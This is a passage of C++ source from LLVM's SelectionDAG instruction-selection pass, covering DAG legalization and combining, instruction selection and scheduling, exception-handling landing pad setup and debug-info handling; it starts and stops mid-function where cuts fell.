DominatorTree *DT = DTWP ? &DTWP->getDomTree() : nullptr; auto *LIWP = getAnalysisIfAvailable<LoopInfoWrapperPass>(); LoopInfo *LI = LIWP ? &LIWP->getLoopInfo() : nullptr; auto *PSI = &getAnalysis<ProfileSummaryInfoWrapperPass>().getPSI(); BlockFrequencyInfo *BFI = nullptr; if (PSI && PSI->hasProfileSummary() && OptLevel != CodeGenOpt::None) BFI = &getAnalysis<LazyBlockFrequencyInfoPass>().getBFI(); LLVM_DEBUG(dbgs() << "\n\n\n=== " << Fn.getName() << "\n"); SplitCriticalSideEffectEdges(const_cast<Function &>(Fn), DT, LI); CurDAG->init(*MF, *ORE, this, LibInfo, getAnalysisIfAvailable<LegacyDivergenceAnalysis>(), PSI, BFI); FuncInfo->set(Fn, *MF, CurDAG); SwiftError->setFunction(*MF); // Now get the optional analyzes if we want to. // This is based on the possibly changed OptLevel (after optnone is taken // into account). That's unfortunate but OK because it just means we won't // ask for passes that have been required anyway. if (UseMBPI && OptLevel != CodeGenOpt::None) FuncInfo->BPI = &getAnalysis<BranchProbabilityInfoWrapperPass>().getBPI(); else FuncInfo->BPI = nullptr; if (OptLevel != CodeGenOpt::None) AA = &getAnalysis<AAResultsWrapperPass>().getAAResults(); else AA = nullptr; SDB->init(GFI, AA, LibInfo); MF->setHasInlineAsm(false); FuncInfo->SplitCSR = false; // We split CSR if the target supports it for the given function // and the function has only return exits. if (OptLevel != CodeGenOpt::None && TLI->supportSplitCSR(MF)) { FuncInfo->SplitCSR = true; // Collect all the return blocks. for (const BasicBlock &BB : Fn) { if (!succ_empty(&BB)) continue; const Instruction *Term = BB.getTerminator(); if (isa<UnreachableInst>(Term) || isa<ReturnInst>(Term)) continue; // Bail out if the exit block is not Return nor Unreachable. FuncInfo->SplitCSR = false; break; } } MachineBasicBlock *EntryMBB = &MF->front(); if (FuncInfo->SplitCSR) // This performs initialization so lowering for SplitCSR will be correct. TLI->initializeSplitCSR(EntryMBB); SelectAllBasicBlocks(Fn); if (FastISelFailed && EnableFastISelFallbackReport) { DiagnosticInfoISelFallback DiagFallback(Fn); Fn.getContext().diagnose(DiagFallback); } // Replace forward-declared registers with the registers containing // the desired value. // Note: it is important that this happens **before** the call to // EmitLiveInCopies, since implementations can skip copies of unused // registers. If we don't apply the reg fixups before, some registers may // appear as unused and will be skipped, resulting in bad MI. MachineRegisterInfo &MRI = MF->getRegInfo(); for (DenseMap<Register, Register>::iterator I = FuncInfo->RegFixups.begin(), E = FuncInfo->RegFixups.end(); I != E; ++I) { Register From = I->first; Register To = I->second; // If To is also scheduled to be replaced, find what its ultimate // replacement is. while (true) { DenseMap<Register, Register>::iterator J = FuncInfo->RegFixups.find(To); if (J == E) break; To = J->second; } // Make sure the new register has a sufficiently constrained register class. if (Register::isVirtualRegister(From) && Register::isVirtualRegister(To)) MRI.constrainRegClass(To, MRI.getRegClass(From)); // Replace it. // Replacing one register with another won't touch the kill flags. // We need to conservatively clear the kill flags as a kill on the old // register might dominate existing uses of the new register. if (!MRI.use_empty(To)) MRI.clearKillFlags(From); MRI.replaceRegWith(From, To); } // If the first basic block in the function has live ins that need to be // copied into vregs, emit the copies into the top of the block before // emitting the code for the block. const TargetRegisterInfo &TRI = *MF->getSubtarget().getRegisterInfo(); RegInfo->EmitLiveInCopies(EntryMBB, TRI, *TII); // Insert copies in the entry block and the return blocks. if (FuncInfo->SplitCSR) { SmallVector<MachineBasicBlock*, 4> Returns; // Collect all the return blocks. for (MachineBasicBlock &MBB : mf) { if (!MBB.succ_empty()) continue; MachineBasicBlock::iterator Term = MBB.getFirstTerminator(); if (Term != MBB.end() && Term->isReturn()) { Returns.push_back(&MBB); continue; } } TLI->insertCopiesSplitCSR(EntryMBB, Returns); } DenseMap<unsigned, unsigned> LiveInMap; if (!FuncInfo->ArgDbgValues.empty()) for (std::pair<unsigned, unsigned> LI : RegInfo->liveins()) if (LI.second) LiveInMap.insert(LI); // Insert DBG_VALUE instructions for function arguments to the entry block. for (unsigned i = 0, e = FuncInfo->ArgDbgValues.size(); i != e; ++i) { MachineInstr *MI = FuncInfo->ArgDbgValues[e-i-1]; bool hasFI = MI->getOperand(0).isFI(); Register Reg = hasFI ? TRI.getFrameRegister(*MF) : MI->getOperand(0).getReg(); if (Register::isPhysicalRegister(Reg)) EntryMBB->insert(EntryMBB->begin(), MI); else { MachineInstr *Def = RegInfo->getVRegDef(Reg); if (Def) { MachineBasicBlock::iterator InsertPos = Def; // FIXME: VR def may not be in entry block. Def->getParent()->insert(std::next(InsertPos), MI); } else LLVM_DEBUG(dbgs() << "Dropping debug info for dead vreg" << Register::virtReg2Index(Reg) << "\n"); } // If Reg is live-in then update debug info to track its copy in a vreg. DenseMap<unsigned, unsigned>::iterator LDI = LiveInMap.find(Reg); if (LDI != LiveInMap.end()) { assert(!hasFI && "There's no handling of frame pointer updating here yet " "- add if needed"); MachineInstr *Def = RegInfo->getVRegDef(LDI->second); MachineBasicBlock::iterator InsertPos = Def; const MDNode *Variable = MI->getDebugVariable(); const MDNode *Expr = MI->getDebugExpression(); DebugLoc DL = MI->getDebugLoc(); bool IsIndirect = MI->isIndirectDebugValue(); if (IsIndirect) assert(MI->getOperand(1).getImm() == 0 && "DBG_VALUE with nonzero offset"); assert(cast<DILocalVariable>(Variable)->isValidLocationForIntrinsic(DL) && "Expected inlined-at fields to agree"); // Def is never a terminator here, so it is ok to increment InsertPos. BuildMI(*EntryMBB, ++InsertPos, DL, TII->get(TargetOpcode::DBG_VALUE), IsIndirect, LDI->second, Variable, Expr); // If this vreg is directly copied into an exported register then // that COPY instructions also need DBG_VALUE, if it is the only // user of LDI->second. MachineInstr *CopyUseMI = nullptr; for (MachineRegisterInfo::use_instr_iterator UI = RegInfo->use_instr_begin(LDI->second), E = RegInfo->use_instr_end(); UI != E; ) { MachineInstr *UseMI = &*(UI++); if (UseMI->isDebugValue()) continue; if (UseMI->isCopy() && !CopyUseMI && UseMI->getParent() == EntryMBB) { CopyUseMI = UseMI; continue; } // Otherwise this is another use or second copy use. CopyUseMI = nullptr; break; } if (CopyUseMI && TRI.getRegSizeInBits(LDI->second, MRI) == TRI.getRegSizeInBits(CopyUseMI->getOperand(0).getReg(), MRI)) { // Use MI's debug location, which describes where Variable was // declared, rather than whatever is attached to CopyUseMI. MachineInstr *NewMI = BuildMI(*MF, DL, TII->get(TargetOpcode::DBG_VALUE), IsIndirect, CopyUseMI->getOperand(0).getReg(), Variable, Expr); MachineBasicBlock::iterator Pos = CopyUseMI; EntryMBB->insertAfter(Pos, NewMI); } } } // Determine if there are any calls in this machine function. MachineFrameInfo &MFI = MF->getFrameInfo(); for (const auto &MBB : *MF) { if (MFI.hasCalls() && MF->hasInlineAsm()) break; for (const auto &MI : MBB) { const MCInstrDesc &MCID = TII->get(MI.getOpcode()); if ((MCID.isCall() && !MCID.isReturn()) || MI.isStackAligningInlineAsm()) { MFI.setHasCalls(true); } if (MI.isInlineAsm()) { MF->setHasInlineAsm(true); } } } // Determine if there is a call to setjmp in the machine function. MF->setExposesReturnsTwice(Fn.callsFunctionThatReturnsTwice()); // Determine if floating point is used for msvc computeUsesMSVCFloatingPoint(TM.getTargetTriple(), Fn, MF->getMMI()); // Release function-specific state. SDB and CurDAG are already cleared // at this point. FuncInfo->clear(); LLVM_DEBUG(dbgs() << "*** MachineFunction at end of ISel ***\n"); LLVM_DEBUG(MF->print(dbgs())); return true; } static void reportFastISelFailure(MachineFunction &MF, OptimizationRemarkEmitter &ORE, OptimizationRemarkMissed &R, bool ShouldAbort) { // Print the function name explicitly if we don't have a debug location (which // makes the diagnostic less useful) or if we're going to emit a raw error. if (!R.getLocation().isValid() || ShouldAbort) R << (" (in function: " + MF.getName() + ")").str(); if (ShouldAbort) report_fatal_error(R.getMsg()); ORE.emit(R); } void SelectionDAGISel::SelectBasicBlock(BasicBlock::const_iterator Begin, BasicBlock::const_iterator End, bool &HadTailCall) { // Allow creating illegal types during DAG building for the basic block. CurDAG->NewNodesMustHaveLegalTypes = false; // Lower the instructions. If a call is emitted as a tail call, cease emitting // nodes for this block. for (BasicBlock::const_iterator I = Begin; I != End && !SDB->HasTailCall; ++I) { if (!ElidedArgCopyInstrs.count(&*I)) SDB->visit(*I); } // Make sure the root of the DAG is up-to-date. CurDAG->setRoot(SDB->getControlRoot()); HadTailCall = SDB->HasTailCall; SDB->resolveOrClearDbgInfo(); SDB->clear(); // Final step, emit the lowered DAG as machine code. CodeGenAndEmitDAG(); } void SelectionDAGISel::ComputeLiveOutVRegInfo() { SmallPtrSet<SDNode *, 16> Added; SmallVector<SDNode*, 128> Worklist; Worklist.push_back(CurDAG->getRoot().getNode()); Added.insert(CurDAG->getRoot().getNode()); KnownBits Known; do { SDNode *N = Worklist.pop_back_val(); // Otherwise, add all chain operands to the worklist. for (const SDValue &Op : N->op_values()) if (Op.getValueType() == MVT::Other && Added.insert(Op.getNode()).second) Worklist.push_back(Op.getNode()); // If this is a CopyToReg with a vreg dest, process it. if (N->getOpcode() != ISD::CopyToReg) continue; unsigned DestReg = cast<RegisterSDNode>(N->getOperand(1))->getReg(); if (!Register::isVirtualRegister(DestReg)) continue; // Ignore non-integer values. SDValue Src = N->getOperand(2); EVT SrcVT = Src.getValueType(); if (!SrcVT.isInteger()) continue; unsigned NumSignBits = CurDAG->ComputeNumSignBits(Src); Known = CurDAG->computeKnownBits(Src); FuncInfo->AddLiveOutRegInfo(DestReg, NumSignBits, Known); } while (!Worklist.empty()); } void SelectionDAGISel::CodeGenAndEmitDAG() { StringRef GroupName = "sdag"; StringRef GroupDescription = "Instruction Selection and Scheduling"; std::string BlockName; bool MatchFilterBB = false; (void)MatchFilterBB; #ifndef NDEBUG TargetTransformInfo &TTI = getAnalysis<TargetTransformInfoWrapperPass>().getTTI(*FuncInfo->Fn); #endif // Pre-type legalization allow creation of any node types. CurDAG->NewNodesMustHaveLegalTypes = false; #ifndef NDEBUG MatchFilterBB = (FilterDAGBasicBlockName.empty() || FilterDAGBasicBlockName == FuncInfo->MBB->getBasicBlock()->getName()); #endif #ifdef NDEBUG if (ViewDAGCombine1 || ViewLegalizeTypesDAGs || ViewDAGCombineLT || ViewLegalizeDAGs || ViewDAGCombine2 || ViewISelDAGs || ViewSchedDAGs || ViewSUnitDAGs) #endif { BlockName = (MF->getName() + ":" + FuncInfo->MBB->getBasicBlock()->getName()).str(); } LLVM_DEBUG(dbgs() << "Initial selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); if (ViewDAGCombine1 && MatchFilterBB) CurDAG->viewGraph("dag-combine1 input for " + BlockName); // Run the DAG combiner in pre-legalize mode. { NamedRegionTimer T("combine1", "DAG Combining 1", GroupName, GroupDescription, TimePassesIsEnabled); CurDAG->Combine(BeforeLegalizeTypes, AA, OptLevel); } #ifndef NDEBUG if (TTI.hasBranchDivergence()) CurDAG->VerifyDAGDiverence(); #endif LLVM_DEBUG(dbgs() << "Optimized lowered selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); // Second step, hack on the DAG until it only uses operations and types that // the target supports. if (ViewLegalizeTypesDAGs && MatchFilterBB) CurDAG->viewGraph("legalize-types input for " + BlockName); bool Changed; { NamedRegionTimer T("legalize_types", "Type Legalization", GroupName, GroupDescription, TimePassesIsEnabled); Changed = CurDAG->LegalizeTypes(); } #ifndef NDEBUG if (TTI.hasBranchDivergence()) CurDAG->VerifyDAGDiverence(); #endif LLVM_DEBUG(dbgs() << "Type-legalized selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); // Only allow creation of legal node types. CurDAG->NewNodesMustHaveLegalTypes = true; if (Changed) { if (ViewDAGCombineLT && MatchFilterBB) CurDAG->viewGraph("dag-combine-lt input for " + BlockName); // Run the DAG combiner in post-type-legalize mode. { NamedRegionTimer T("combine_lt", "DAG Combining after legalize types", GroupName, GroupDescription, TimePassesIsEnabled); CurDAG->Combine(AfterLegalizeTypes, AA, OptLevel); } #ifndef NDEBUG if (TTI.hasBranchDivergence()) CurDAG->VerifyDAGDiverence(); #endif LLVM_DEBUG(dbgs() << "Optimized type-legalized selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); } { NamedRegionTimer T("legalize_vec", "Vector Legalization", GroupName, GroupDescription, TimePassesIsEnabled); Changed = CurDAG->LegalizeVectors(); } if (Changed) { LLVM_DEBUG(dbgs() << "Vector-legalized selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); { NamedRegionTimer T("legalize_types2", "Type Legalization 2", GroupName, GroupDescription, TimePassesIsEnabled); CurDAG->LegalizeTypes(); } LLVM_DEBUG(dbgs() << "Vector/type-legalized selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); if (ViewDAGCombineLT && MatchFilterBB) CurDAG->viewGraph("dag-combine-lv input for " + BlockName); // Run the DAG combiner in post-type-legalize mode. { NamedRegionTimer T("combine_lv", "DAG Combining after legalize vectors", GroupName, GroupDescription, TimePassesIsEnabled); CurDAG->Combine(AfterLegalizeVectorOps, AA, OptLevel); } LLVM_DEBUG(dbgs() << "Optimized vector-legalized selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); #ifndef NDEBUG if (TTI.hasBranchDivergence()) CurDAG->VerifyDAGDiverence(); #endif } if (ViewLegalizeDAGs && MatchFilterBB) CurDAG->viewGraph("legalize input for " + BlockName); { NamedRegionTimer T("legalize", "DAG Legalization", GroupName, GroupDescription, TimePassesIsEnabled); CurDAG->Legalize(); } #ifndef NDEBUG if (TTI.hasBranchDivergence()) CurDAG->VerifyDAGDiverence(); #endif LLVM_DEBUG(dbgs() << "Legalized selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); if (ViewDAGCombine2 && MatchFilterBB) CurDAG->viewGraph("dag-combine2 input for " + BlockName); // Run the DAG combiner in post-legalize mode. { NamedRegionTimer T("combine2", "DAG Combining 2", GroupName, GroupDescription, TimePassesIsEnabled); CurDAG->Combine(AfterLegalizeDAG, AA, OptLevel); } #ifndef NDEBUG if (TTI.hasBranchDivergence()) CurDAG->VerifyDAGDiverence(); #endif LLVM_DEBUG(dbgs() << "Optimized legalized selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); if (OptLevel != CodeGenOpt::None) ComputeLiveOutVRegInfo(); if (ViewISelDAGs && MatchFilterBB) CurDAG->viewGraph("isel input for " + BlockName); // Third, instruction select all of the operations to machine code, adding the // code to the MachineBasicBlock. { NamedRegionTimer T("isel", "Instruction Selection", GroupName, GroupDescription, TimePassesIsEnabled); DoInstructionSelection(); } LLVM_DEBUG(dbgs() << "Selected selection DAG: " << printMBBReference(*FuncInfo->MBB) << " '" << BlockName << "'\n"; CurDAG->dump()); if (ViewSchedDAGs && MatchFilterBB) CurDAG->viewGraph("scheduler input for " + BlockName); // Schedule machine code. ScheduleDAGSDNodes *Scheduler = CreateScheduler(); { NamedRegionTimer T("sched", "Instruction Scheduling", GroupName, GroupDescription, TimePassesIsEnabled); Scheduler->Run(CurDAG, FuncInfo->MBB); } if (ViewSUnitDAGs && MatchFilterBB) Scheduler->viewGraph(); // Emit machine code to BB. This can change 'BB' to the last block being // inserted into. MachineBasicBlock *FirstMBB = FuncInfo->MBB, *LastMBB; { NamedRegionTimer T("emit", "Instruction Creation", GroupName, GroupDescription, TimePassesIsEnabled); // FuncInfo->InsertPt is passed by reference and set to the end of the // scheduled instructions. LastMBB = FuncInfo->MBB = Scheduler->EmitSchedule(FuncInfo->InsertPt); } // If the block was split, make sure we update any references that are used to // update PHI nodes later on. if (FirstMBB != LastMBB) SDB->UpdateSplitBlock(FirstMBB, LastMBB); // Free the scheduler state. { NamedRegionTimer T("cleanup", "Instruction Scheduling Cleanup", GroupName, GroupDescription, TimePassesIsEnabled); delete Scheduler; } // Free the SelectionDAG state, now that we're finished with it. CurDAG->clear(); } namespace { /// ISelUpdater - helper class to handle updates of the instruction selection /// graph. class ISelUpdater : public SelectionDAG::DAGUpdateListener { SelectionDAG::allnodes_iterator &ISelPosition; public: ISelUpdater(SelectionDAG &DAG, SelectionDAG::allnodes_iterator &isp) : SelectionDAG::DAGUpdateListener(DAG), ISelPosition(isp) {} /// NodeDeleted - Handle nodes deleted from the graph. If the node being /// deleted is the current ISelPosition node, update ISelPosition. /// void NodeDeleted(SDNode *N, SDNode *E) override { if (ISelPosition == SelectionDAG::allnodes_iterator(N)) ++ISelPosition; } }; } // end anonymous namespace // This function is used to enforce the topological node id property // property leveraged during Instruction selection. Before selection all // nodes are given a non-negative id such that all nodes have a larger id than // their operands. As this holds transitively we can prune checks that a node N // is a predecessor of M another by not recursively checking through M's // operands if N's ID is larger than M's ID. This is significantly improves // performance of for various legality checks (e.g. IsLegalToFold / // UpdateChains). // However, when we fuse multiple nodes into a single node // during selection we may induce a predecessor relationship between inputs and // outputs of distinct nodes being merged violating the topological property. // Should a fused node have a successor which has yet to be selected, our // legality checks would be incorrect. To avoid this we mark all unselected // sucessor nodes, i.e. id != -1 as invalid for pruning by bit-negating (x => // (-(x+1))) the ids and modify our pruning check to ignore negative Ids of M. // We use bit-negation to more clearly enforce that node id -1 can only be // achieved by selected nodes). As the conversion is reversable the original Id, // topological pruning can still be leveraged when looking for unselected nodes. // This method is call internally in all ISel replacement calls. void SelectionDAGISel::EnforceNodeIdInvariant(SDNode *Node) { SmallVector<SDNode *, 4> Nodes; Nodes.push_back(Node); while (!Nodes.empty()) { SDNode *N = Nodes.pop_back_val(); for (auto *U : N->uses()) { auto UId = U->getNodeId(); if (UId > 0) { InvalidateNodeId(U); Nodes.push_back(U); } } } } // InvalidateNodeId - As discusses in EnforceNodeIdInvariant, mark a // NodeId with the equivalent node id which is invalid for topological // pruning. void SelectionDAGISel::InvalidateNodeId(SDNode *N) { int InvalidId = -(N->getNodeId() + 1); N->setNodeId(InvalidId); } // getUninvalidatedNodeId - get original uninvalidated node id. int SelectionDAGISel::getUninvalidatedNodeId(SDNode *N) { int Id = N->getNodeId(); if (Id < -1) return -(Id + 1); return Id; } void SelectionDAGISel::DoInstructionSelection() { LLVM_DEBUG(dbgs() << "===== Instruction selection begins: " << printMBBReference(*FuncInfo->MBB) << " '" << FuncInfo->MBB->getName() << "'\n"); PreprocessISelDAG(); // Select target instructions for the DAG. { // Number all nodes with a topological order and set DAGSize. DAGSize = CurDAG->AssignTopologicalOrder(); // Create a dummy node (which is not added to allnodes), that adds // a reference to the root node, preventing it from being deleted, // and tracking any changes of the root. HandleSDNode Dummy(CurDAG->getRoot()); SelectionDAG::allnodes_iterator ISelPosition (CurDAG->getRoot().getNode()); ++ISelPosition; // Make sure that ISelPosition gets properly updated when nodes are deleted // in calls made from this function. ISelUpdater ISU(*CurDAG, ISelPosition); // The AllNodes list is now topological-sorted. Visit the // nodes by starting at the end of the list (the root of the // graph) and preceding back toward the beginning (the entry // node). while (ISelPosition != CurDAG->allnodes_begin()) { SDNode *Node = &*--ISelPosition; // Skip dead nodes. DAGCombiner is expected to eliminate all dead nodes, // but there are currently some corner cases that it misses. Also, this // makes it theoretically possible to disable the DAGCombiner. if (Node->use_empty()) continue; #ifndef NDEBUG SmallVector<SDNode *, 4> Nodes; Nodes.push_back(Node); while (!Nodes.empty()) { auto N = Nodes.pop_back_val(); if (N->getOpcode() == ISD::TokenFactor || N->getNodeId() < 0) continue; for (const SDValue &Op : N->op_values()) { if (Op->getOpcode() == ISD::TokenFactor) Nodes.push_back(Op.getNode()); else { // We rely on topological ordering of node ids for checking for // cycles when fusing nodes during selection. All unselected nodes // successors of an already selected node should have a negative id. // This assertion will catch such cases. If this assertion triggers // it is likely you using DAG-level Value/Node replacement functions // (versus equivalent ISEL replacement) in backend-specific // selections. See comment in EnforceNodeIdInvariant for more // details. assert(Op->getNodeId() != -1 && "Node has already selected predecessor node"); } } } #endif // When we are using non-default rounding modes or FP exception behavior // FP operations are represented by StrictFP pseudo-operations. For // targets that do not (yet) understand strict FP operations directly, // we convert them to normal FP opcodes instead at this point. This // will allow them to be handled by existing target-specific instruction // selectors. if (!TLI->isStrictFPEnabled() && Node->isStrictFPOpcode()) { // For some opcodes, we need to call TLI->getOperationAction using // the first operand type instead of the result type. Note that this // must match what SelectionDAGLegalize::LegalizeOp is doing. EVT ActionVT; switch (Node->getOpcode()) { case ISD::STRICT_SINT_TO_FP: case ISD::STRICT_UINT_TO_FP: case ISD::STRICT_LRINT: case ISD::STRICT_LLRINT: case ISD::STRICT_LROUND: case ISD::STRICT_LLROUND: case ISD::STRICT_FSETCC: case ISD::STRICT_FSETCCS: ActionVT = Node->getOperand(1).getValueType(); break; default: ActionVT = Node->getValueType(0); break; } if (TLI->getOperationAction(Node->getOpcode(), ActionVT) == TargetLowering::Expand) Node = CurDAG->mutateStrictFPToFP(Node); } LLVM_DEBUG(dbgs() << "\nISEL: Starting selection on root node: "; Node->dump(CurDAG)); Select(Node); } CurDAG->setRoot(Dummy.getValue()); } LLVM_DEBUG(dbgs() << "\n===== Instruction selection ends:\n"); PostprocessISelDAG(); } static bool hasExceptionPointerOrCodeUser(const CatchPadInst *CPI) { for (const User *U : CPI->users()) { if (const IntrinsicInst *EHPtrCall = dyn_cast<IntrinsicInst>(U)) { Intrinsic::ID IID = EHPtrCall->getIntrinsicID(); if (IID == Intrinsic::eh_exceptionpointer || IID == Intrinsic::eh_exceptioncode) return true; } } return false; } // wasm.landingpad.index intrinsic is for associating a landing pad index number // with a catchpad instruction. Retrieve the landing pad index in the intrinsic // and store the mapping in the function. static void mapWasmLandingPadIndex(MachineBasicBlock *MBB, const CatchPadInst *CPI) { MachineFunction *MF = MBB->getParent(); // In case of single catch (...), we don't emit LSDA, so we don't need // this information. bool IsSingleCatchAllClause = CPI->getNumArgOperands() == 1 && cast<Constant>(CPI->getArgOperand(0))->isNullValue(); if (!IsSingleCatchAllClause) { // Create a mapping from landing pad label to landing pad index. bool IntrFound = false; for (const User *U : CPI->users()) { if (const auto *Call = dyn_cast<IntrinsicInst>(U)) { Intrinsic::ID IID = Call->getIntrinsicID(); if (IID == Intrinsic::wasm_landingpad_index) { Value *IndexArg = Call->getArgOperand(1); int Index = cast<ConstantInt>(IndexArg)->getZExtValue(); MF->setWasmLandingPadIndex(MBB, Index); IntrFound = true; break; } } } assert(IntrFound && "wasm.landingpad.index intrinsic not found!"); (void)IntrFound; } } /// PrepareEHLandingPad - Emit an EH_LABEL, set up live-in registers, and /// do other setup for EH landing-pad blocks. bool SelectionDAGISel::PrepareEHLandingPad() { MachineBasicBlock *MBB = FuncInfo->MBB; const Constant *PersonalityFn = FuncInfo->Fn->getPersonalityFn(); const BasicBlock *LLVMBB = MBB->getBasicBlock(); const TargetRegisterClass *PtrRC = TLI->getRegClassFor(TLI->getPointerTy(CurDAG->getDataLayout())); auto Pers = classifyEHPersonality(PersonalityFn); // Catchpads have one live-in register, which typically holds the exception // pointer or code. if (isFuncletEHPersonality(Pers)) { if (const auto *CPI = dyn_cast<CatchPadInst>(LLVMBB->getFirstNonPHI())) { if (hasExceptionPointerOrCodeUser(CPI)) { // Get or create the virtual register to hold the pointer or code. Mark // the live in physreg and copy into the vreg. MCPhysReg EHPhysReg = TLI->getExceptionPointerRegister(PersonalityFn); assert(EHPhysReg && "target lacks exception pointer register"); MBB->addLiveIn(EHPhysReg); unsigned VReg = FuncInfo->getCatchPadExceptionPointerVReg(CPI, PtrRC); BuildMI(*MBB, FuncInfo->InsertPt, SDB->getCurDebugLoc(), TII->get(TargetOpcode::COPY), VReg) .addReg(EHPhysReg, RegState::Kill); } } return true; } // Add a label to mark the beginning of the landing pad. Deletion of the // landing pad can thus be detected via the MachineModuleInfo. MCSymbol *Label = MF->addLandingPad(MBB); const MCInstrDesc &II = TII->get(TargetOpcode::EH_LABEL); BuildMI(*MBB, FuncInfo->InsertPt, SDB->getCurDebugLoc(), II) .addSym(Label); // If the unwinder does not preserve all registers, ensure that the // function marks the clobbered registers as used. const TargetRegisterInfo &TRI = *MF->getSubtarget().getRegisterInfo(); if (auto *RegMask = TRI.getCustomEHPadPreservedMask(*MF)) MF->getRegInfo().addPhysRegsUsedFromRegMask(RegMask); if (Pers == EHPersonality::Wasm_CXX) { if (const auto *CPI = dyn_cast<CatchPadInst>(LLVMBB->getFirstNonPHI())) mapWasmLandingPadIndex(MBB, CPI); } else { // Assign the call site to the landing pad's begin label. MF->setCallSiteLandingPad(Label, SDB->LPadToCallSiteMap[MBB]); // Mark exception register as live in. if (unsigned Reg = TLI->getExceptionPointerRegister(PersonalityFn)) FuncInfo->ExceptionPointerVirtReg = MBB->addLiveIn(Reg, PtrRC); // Mark exception selector register as live in. if (unsigned Reg = TLI->getExceptionSelectorRegister(PersonalityFn)) FuncInfo->ExceptionSelectorVirtReg = MBB->addLiveIn(Reg, PtrRC); } return true; } /// isFoldedOrDeadInstruction - Return true if the specified instruction is /// side-effect free and is either dead or folded into a generated instruction. /// Return false if it needs to be emitted. static bool isFoldedOrDeadInstruction(const Instruction *I, const FunctionLoweringInfo &FuncInfo) { return !I->mayWriteToMemory() && // Side-effecting instructions aren't folded. !I->isTerminator() && // Terminators aren't folded. !isa<DbgInfoIntrinsic>(I) && // Debug instructions aren't folded. !I->isEHPad() && // EH pad instructions aren't folded. !FuncInfo.isExportedInst(I); // Exported instrs must be computed. } /// Collect llvm.dbg.declare information. This is done after argument lowering /// in case the declarations refer to arguments. static void processDbgDeclares(FunctionLoweringInfo &FuncInfo) { MachineFunction *MF = FuncInfo.MF; const DataLayout &DL = MF->getDataLayout(); for (const BasicBlock &BB : *FuncInfo.Fn) { for (const Instruction &I : BB) { const DbgDeclareInst *DI = dyn_cast<DbgDeclareInst>(&I); if (!DI) continue; assert(DI->getVariable() && "Missing variable"); assert(DI->getDebugLoc() && "Missing location"); const Value *Address = DI->getAddress(); if (!Address) { LLVM_DEBUG(dbgs() << "processDbgDeclares skipping " << *DI << " (bad address)\n"); continue; } // Look through casts and constant offset GEPs. These mostly come from // inalloca. APInt Offset(DL.getTypeSizeInBits(Address->getType()), 0); Address = Address->stripAndAccumulateInBoundsConstantOffsets(DL, Offset); // Check if the variable is a static alloca or a byval or inalloca // argument passed in memory. If it is not, then we will ignore this // intrinsic and handle this during isel like dbg.value. int FI = std::numeric_limits<int>::max(); if (const auto *AI = dyn_cast<AllocaInst>(Address)) { auto SI = FuncInfo.StaticAllocaMap.find(AI); if (SI != FuncInfo.StaticAllocaMap.end()) FI = SI->second; } else if (const auto *Arg = dyn_cast<Argument>(Address)) FI = FuncInfo.getArgumentFrameIndex(Arg); if (FI == std::numeric_limits<int>::max()) continue; DIExpression *Expr = DI->getExpression(); if (Offset.getBoolValue()) Expr = DIExpression::prepend(Expr, DIExpression::ApplyOffset, Offset.getZExtValue()); LLVM_DEBUG(dbgs() << "processDbgDeclares: setVariableDbgInfo FI=" << FI << ", " << *DI << "\n"); MF->setVariableDbgInfo(DI->getVariable(), Expr, FI, DI->getDebugLoc()); } } } void SelectionDAGISel::SelectAllBasicBlocks(const Function &Fn) { FastISelFailed = false; // Initialize the Fast-ISel state, if needed. FastISel *FastIS = nullptr; if (TM.Options.EnableFastISel) { LLVM_DEBUG(dbgs() << "Enabling fast-isel\n"); FastIS = TLI->createFastISel(*FuncInfo, LibInfo); } ReversePostOrderTraversal<const Function*> RPOT(&Fn); // Lower arguments up front. An RPO iteration always visits the entry block // first. assert(*RPOT.begin() == &Fn.getEntryBlock()); ++NumEntryBlocks; // Set up FuncInfo for ISel. Entry blocks never have PHIs. FuncInfo->MBB = FuncInfo->MBBMap[&Fn.getEntryBlock()]; FuncInfo->InsertPt = FuncInfo->MBB->begin(); CurDAG->setFunctionLoweringInfo(FuncInfo.get()); if (!FastIS) { LowerArguments(Fn); } else { // See if fast isel can lower the arguments. FastIS->startNewBlock(); if (!FastIS->lowerArguments()) { FastISelFailed = true; // Fast isel failed to lower these arguments ++NumFastIselFailLowerArguments; OptimizationRemarkMissed R("sdagisel", "FastISelFailure", Fn.getSubprogram(), &Fn.getEntryBlock()); R << "FastISel didn't lower all arguments: " << ore::NV("Prototype", Fn.getType()); reportFastISelFailure(*MF, *ORE, R, EnableFastISelAbort > 1); // Use SelectionDAG argument lowering LowerArguments(Fn); CurDAG->setRoot(SDB->getControlRoot()); SDB->clear(); CodeGenAndEmitDAG(); } // If we inserted any instructions at the beginning, make a note of // where they are, so we can be sure to emit subsequent instructions // after them. if (FuncInfo->InsertPt != FuncInfo->MBB->begin()) FastIS->setLastLocalValue(&*std::prev(FuncInfo->InsertPt)); else FastIS->setLastLocalValue(nullptr); } bool Inserted = SwiftError->createEntriesInEntryBlock(SDB->getCurDebugLoc()); if (FastIS && Inserted) FastIS->setLastLocalValue(&*std::prev(FuncInfo->InsertPt)); processDbgDeclares(*FuncInfo); // Iterate over all basic blocks in the function. StackProtector &SP = getAnalysis<StackProtector>(); for (const BasicBlock *LLVMBB : RPOT) { if (OptLevel != CodeGenOpt::None) { bool AllPredsVisited = true; for (const_pred_iterator PI = pred_begin(LLVMBB), PE = pred_end(LLVMBB); PI != PE; ++PI) { if (!FuncInfo->VisitedBBs.count(*PI)) { AllPredsVisited = false; break; } } if (AllPredsVisited) { for (const PHINode &PN : LLVMBB->phis()) FuncInfo->ComputePHILiveOutRegInfo(&PN); } else { for (const PHINode &PN : LLVMBB->phis()) FuncInfo->InvalidatePHILiveOutRegInfo(&PN); } FuncInfo->VisitedBBs.insert(LLVMBB); } 